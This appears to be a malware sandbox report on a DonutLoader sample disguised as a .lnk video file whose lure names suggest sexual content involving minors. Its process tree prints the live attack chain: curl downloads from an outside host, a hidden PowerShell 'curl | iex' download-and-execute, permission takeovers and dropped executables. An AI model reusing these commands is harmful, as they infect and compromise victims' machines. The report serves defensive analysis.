donutloader | 20eea6002b3b0a3716ec6687953ae54b50fc77e00241afddb540fbddf7ff3f65

Resubmissions

26/06/2026, 04:27

260626-e3f1rahw6l10

26/06/2026, 04:21

260626-eytfaagy4y10

Analysis

max time kernel
149s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
26/06/2026, 04:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PACK8/teenSnapchatdihhfrombe.mp4.lnk
Size 697B
Sample260626-e3f1rahw6l
SHA256 20eea6002b3b0a3716ec6687953ae54b50fc77e00241afddb540fbddf7ff3f65
MD5 76cb868859b8aadccbde3b360e9e9cee
SHA1 08e29f89ec5b68892a5984ead4813c567aec4b2c
SHA512 0d4aba0feb5c54ac769e152fbfafe5019ea95a096560d2d5400958a7daa13c202b168a519038155e6ddc916d200b301b87eab5b5fe6c9b044c23c1557e78ab3c
TLSH
T10001284032EC1728C3B35B3B4C3956114A26BA45EA22DB2C57D0858CA868204AD29F3A
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery execution exploit donutloader loader persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://racist.pics/license/authcheck

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://racist.pics/license/authcheck

Signatures

Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral3/memory/2724-95-0x0000024D06E80000-0x0000024D06E9A000-memory.dmp	family_donutloader

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
23	4784	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4784	powershell.exe
2236	powershell.exe
2444	powershell.exe
3808	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
24	836	curl.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	powershell.exe

Possible privilege escalation attempt 6 IoCs

exploit

pid	Process
3956	icacls.exe
3280	takeown.exe
2652	icacls.exe
1016	icacls.exe
3472	icacls.exe
3992	icacls.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	cmd.exe

Deletes itself 1 IoCs

pid	Process
4784	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
3492	7z.exe
2724	node.exe
4696	PsExec.exe
2752	PSEXESVC.exe
2172	PSEXESVC.exe

Loads dropped DLL 1 IoCs

pid	Process
2724	node.exe

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3280	takeown.exe
2652	icacls.exe
1016	icacls.exe
3472	icacls.exe
3992	icacls.exe
3956	icacls.exe

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini	powershell.exe

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
4696	PsExec.exe

Power Settings 1 TTPs 2 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
3272	powercfg.exe
3984	powercfg.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\PSEXESVC.exe	PsExec.exe
File opened for modification	C:\Windows\PSEXEC-RYSBVXZE-AAD70905.key	PSEXESVC.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PsExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PSEXESVC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PSEXESVC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\powrprof.dll,-19 = "Ultimate Performance"	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4600	vlc.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
4784	powershell.exe
4784	powershell.exe
4784	powershell.exe
3808	powershell.exe
3808	powershell.exe
3808	powershell.exe
3808	powershell.exe
3808	powershell.exe
3808	powershell.exe
2236	powershell.exe
2236	powershell.exe
2236	powershell.exe
2444	powershell.exe
2444	powershell.exe
2444	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4600	vlc.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4784	powershell.exe
Token: SeIncreaseQuotaPrivilege	4784	powershell.exe
Token: SeSecurityPrivilege	4784	powershell.exe
Token: SeTakeOwnershipPrivilege	4784	powershell.exe
Token: SeLoadDriverPrivilege	4784	powershell.exe
Token: SeSystemProfilePrivilege	4784	powershell.exe
Token: SeSystemtimePrivilege	4784	powershell.exe
Token: SeProfSingleProcessPrivilege	4784	powershell.exe
Token: SeIncBasePriorityPrivilege	4784	powershell.exe
Token: SeCreatePagefilePrivilege	4784	powershell.exe
Token: SeBackupPrivilege	4784	powershell.exe
Token: SeRestorePrivilege	4784	powershell.exe
Token: SeShutdownPrivilege	4784	powershell.exe
Token: SeDebugPrivilege	4784	powershell.exe
Token: SeSystemEnvironmentPrivilege	4784	powershell.exe
Token: SeRemoteShutdownPrivilege	4784	powershell.exe
Token: SeUndockPrivilege	4784	powershell.exe
Token: SeManageVolumePrivilege	4784	powershell.exe
Token: 33	4784	powershell.exe
Token: 34	4784	powershell.exe
Token: 35	4784	powershell.exe
Token: 36	4784	powershell.exe
Token: SeIncreaseQuotaPrivilege	4784	powershell.exe
Token: SeSecurityPrivilege	4784	powershell.exe
Token: SeTakeOwnershipPrivilege	4784	powershell.exe
Token: SeLoadDriverPrivilege	4784	powershell.exe
Token: SeSystemProfilePrivilege	4784	powershell.exe
Token: SeSystemtimePrivilege	4784	powershell.exe
Token: SeProfSingleProcessPrivilege	4784	powershell.exe
Token: SeIncBasePriorityPrivilege	4784	powershell.exe
Token: SeCreatePagefilePrivilege	4784	powershell.exe
Token: SeBackupPrivilege	4784	powershell.exe
Token: SeRestorePrivilege	4784	powershell.exe
Token: SeShutdownPrivilege	4784	powershell.exe
Token: SeDebugPrivilege	4784	powershell.exe
Token: SeSystemEnvironmentPrivilege	4784	powershell.exe
Token: SeRemoteShutdownPrivilege	4784	powershell.exe
Token: SeUndockPrivilege	4784	powershell.exe
Token: SeManageVolumePrivilege	4784	powershell.exe
Token: 33	4784	powershell.exe
Token: 34	4784	powershell.exe
Token: 35	4784	powershell.exe
Token: 36	4784	powershell.exe
Token: SeIncreaseQuotaPrivilege	4784	powershell.exe
Token: SeSecurityPrivilege	4784	powershell.exe
Token: SeTakeOwnershipPrivilege	4784	powershell.exe
Token: SeLoadDriverPrivilege	4784	powershell.exe
Token: SeSystemProfilePrivilege	4784	powershell.exe
Token: SeSystemtimePrivilege	4784	powershell.exe
Token: SeProfSingleProcessPrivilege	4784	powershell.exe
Token: SeIncBasePriorityPrivilege	4784	powershell.exe
Token: SeCreatePagefilePrivilege	4784	powershell.exe
Token: SeBackupPrivilege	4784	powershell.exe
Token: SeRestorePrivilege	4784	powershell.exe
Token: SeShutdownPrivilege	4784	powershell.exe
Token: SeDebugPrivilege	4784	powershell.exe
Token: SeSystemEnvironmentPrivilege	4784	powershell.exe
Token: SeRemoteShutdownPrivilege	4784	powershell.exe
Token: SeUndockPrivilege	4784	powershell.exe
Token: SeManageVolumePrivilege	4784	powershell.exe
Token: 33	4784	powershell.exe
Token: 34	4784	powershell.exe
Token: 35	4784	powershell.exe
Token: 36	4784	powershell.exe

Suspicious use of FindShellTrayWindow 23 IoCs

pid	Process
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe
4600	vlc.exe

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 64 wrote to memory of 872	64	cmd.exe	86
PID 872 wrote to memory of 4600	872	cmd.exe	87
PID 872 wrote to memory of 1196	872	cmd.exe	89
PID 872 wrote to memory of 4784	872	cmd.exe	90
PID 4784 wrote to memory of 3752	4784	powershell.exe	91
PID 4784 wrote to memory of 1960	4784	powershell.exe	92
PID 1960 wrote to memory of 964	1960	csc.exe	93
PID 4784 wrote to memory of 2972	4784	powershell.exe	94
PID 2972 wrote to memory of 4728	2972	csc.exe	95
PID 4784 wrote to memory of 1788	4784	powershell.exe	96
PID 1788 wrote to memory of 2904	1788	csc.exe	97
PID 4784 wrote to memory of 720	4784	powershell.exe	98
PID 4784 wrote to memory of 3288	4784	powershell.exe	100
PID 4784 wrote to memory of 836	4784	powershell.exe	106
PID 4784 wrote to memory of 2652	4784	powershell.exe	108
PID 4784 wrote to memory of 3492	4784	powershell.exe	110
PID 4784 wrote to memory of 4720	4784	powershell.exe	112
PID 4784 wrote to memory of 3280	4784	powershell.exe	114
PID 4784 wrote to memory of 2468	4784	powershell.exe	115
PID 4784 wrote to memory of 752	4784	powershell.exe	116
PID 4784 wrote to memory of 3428	4784	powershell.exe	117
PID 4784 wrote to memory of 4172	4784	powershell.exe	118
PID 4784 wrote to memory of 4100	4784	powershell.exe	119
PID 4784 wrote to memory of 4224	4784	powershell.exe	120
PID 4784 wrote to memory of 4344	4784	powershell.exe	121
PID 4784 wrote to memory of 2724	4784	powershell.exe	122
PID 2472 wrote to memory of 3808	2472	cmd.exe	130
PID 3808 wrote to memory of 1172	3808	powershell.exe	131
PID 1172 wrote to memory of 980	1172	csc.exe	132
PID 3808 wrote to memory of 4156	3808	powershell.exe	133
PID 3808 wrote to memory of 4696	3808	powershell.exe	135
PID 2752 wrote to memory of 2236	2752	PSEXESVC.exe	140
PID 2236 wrote to memory of 720	2236	powershell.exe	144
PID 720 wrote to memory of 4664	720	csc.exe	145
PID 2236 wrote to memory of 3272	2236	powershell.exe	146
PID 2236 wrote to memory of 3984	2236	powershell.exe	147
PID 2236 wrote to memory of 1016	2236	powershell.exe	148
PID 2236 wrote to memory of 2652	2236	powershell.exe	149
PID 2236 wrote to memory of 3472	2236	powershell.exe	150
PID 2236 wrote to memory of 3992	2236	powershell.exe	151
PID 2236 wrote to memory of 3956	2236	powershell.exe	152
PID 2236 wrote to memory of 4724	2236	powershell.exe	153
PID 2236 wrote to memory of 4104	2236	powershell.exe	154
PID 2236 wrote to memory of 3100	2236	powershell.exe	155
PID 2236 wrote to memory of 960	2236	powershell.exe	156
PID 2236 wrote to memory of 1368	2236	powershell.exe	157
PID 2236 wrote to memory of 4668	2236	powershell.exe	158
PID 2236 wrote to memory of 1956	2236	powershell.exe	160
PID 2236 wrote to memory of 3204	2236	powershell.exe	161
PID 2236 wrote to memory of 1184	2236	powershell.exe	162
PID 2236 wrote to memory of 4432	2236	powershell.exe	163
PID 2236 wrote to memory of 2444	2236	powershell.exe	164

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 7 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4100	attrib.exe
4224	attrib.exe
4344	attrib.exe
2468	attrib.exe
752	attrib.exe
3428	attrib.exe
4172	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PACK8\teenSnapchatdihhfrombe.mp4.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:64
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /v:on /c (start "" ..\ㅤㅤ\teenSnapchatdihhfrombe.mp4)&(curl.exe https://nyx8.net/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd)&(C:\Users\Admin\AppData\Local\Temp\a.cmd https://nyx8.net 106)
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:872
- - C:\Program Files\VideoLAN\VLC\vlc.exe
    "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenSnapchatdihhfrombe.mp4"
    3⤵
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:4600
- - C:\Windows\system32\curl.exe
    curl.exe https://nyx8.net/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd
    3⤵
    PID:1196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {param($u,$c); if (-not $u) { exit }; curl.exe \"$u/rAU.ps1\" | iex }" "https://nyx8.net" "106"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Deletes itself
    - Drops desktop.ini file(s)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4784
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/rAU.ps1
      4⤵
      PID:3752
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nfcsgj2n\nfcsgj2n.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1960
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3A83.tmp" "c:\Users\Admin\AppData\Local\Temp\nfcsgj2n\CSC6B8E0792FB1247E8A21B2FBFD77AFE45.TMP"
        5⤵
        
        PID:964
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\llubc5mx\llubc5mx.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2972
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3B4F.tmp" "c:\Users\Admin\AppData\Local\Temp\llubc5mx\CSCFC785721F0F7420B8C8D53AA7FFD12B.TMP"
        5⤵
        
        PID:4728
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bbnvmwcz\bbnvmwcz.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1788
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3BDB.tmp" "c:\Users\Admin\AppData\Local\Temp\bbnvmwcz\CSCA761502766A641D7A86ADFA8113EC14.TMP"
        5⤵
        
        PID:2904
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/rIF.ps1 -o C:\ProgramData\rIF.ps1
      4⤵
      PID:720
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/invoke.vbs -o C:\ProgramData\invoke.vbs
      4⤵
      PID:3288
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/7z.exe -o C:\Users\Admin\AppData\Local\Temp/build\7z.exe
      4⤵
      Downloads MZ/PE file
      PID:836
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/1.7z -o C:\Users\Admin\AppData\Local\Temp/build\1.7z
      4⤵
      PID:2652
  - - C:\Users\Admin\AppData\Local\Temp\build\7z.exe
      "C:\Users\Admin\AppData\Local\Temp\build\7z.exe" x C:\Users\Admin\AppData\Local\Temp/build\1.7z -phttps://racist.pics/license/authcheck -oC:\Users\Admin\AppData\Local\Temp/build -y
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3492
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/rAA.ps1 -o C:\Users\Admin\AppData\Local\Temp/build\helloworld.ps1
      4⤵
      PID:4720
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /F C:\Users\Admin\AppData\Local\Temp\ㅤㅤ /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3280
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h ..\ㅤㅤ
      4⤵
      Views/modifies file attributes
      PID:2468
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini
      4⤵
      Drops desktop.ini file(s)
      Views/modifies file attributes
      PID:752
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenpussyfeetandass.mp4
      4⤵
      Views/modifies file attributes
      PID:3428
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenreversecowgirlboyf.mp4
      4⤵
      Views/modifies file attributes
      PID:4172
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenslutdroppanties.mp4
      4⤵
      Views/modifies file attributes
      PID:4100
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenslutpussyspread.mp4
      4⤵
      Views/modifies file attributes
      PID:4224
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenSnapchatdihhfrombe.mp4
      4⤵
      Views/modifies file attributes
      PID:4344
  - - C:\Users\Admin\AppData\Local\Temp\build\node.exe
      "C:\Users\Admin\AppData\Local\Temp\build\node.exe" index.js
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2724

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -File "%TMP%\build\helloworld.ps1"
1⤵
- Suspicious use of WriteProcessMemory
PID:2472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\build\helloworld.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3808
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0itkhqny\0itkhqny.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1172
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
